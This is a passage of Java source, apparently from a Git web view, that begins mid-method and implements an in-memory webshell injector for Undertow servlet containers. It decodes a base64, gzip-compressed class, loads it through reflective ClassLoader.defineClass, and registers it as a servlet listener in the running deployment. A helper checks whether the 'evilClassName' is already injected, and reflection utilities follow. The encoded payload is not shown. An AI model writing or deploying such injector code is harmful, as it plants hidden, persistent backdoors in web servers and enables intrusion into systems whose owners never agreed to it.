|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
if (allListeners != null) {
|
||||
for (Object allListener : allListeners) {
|
||||
Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
|
||||
if (listener != null) {
|
||||
if (listener.getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user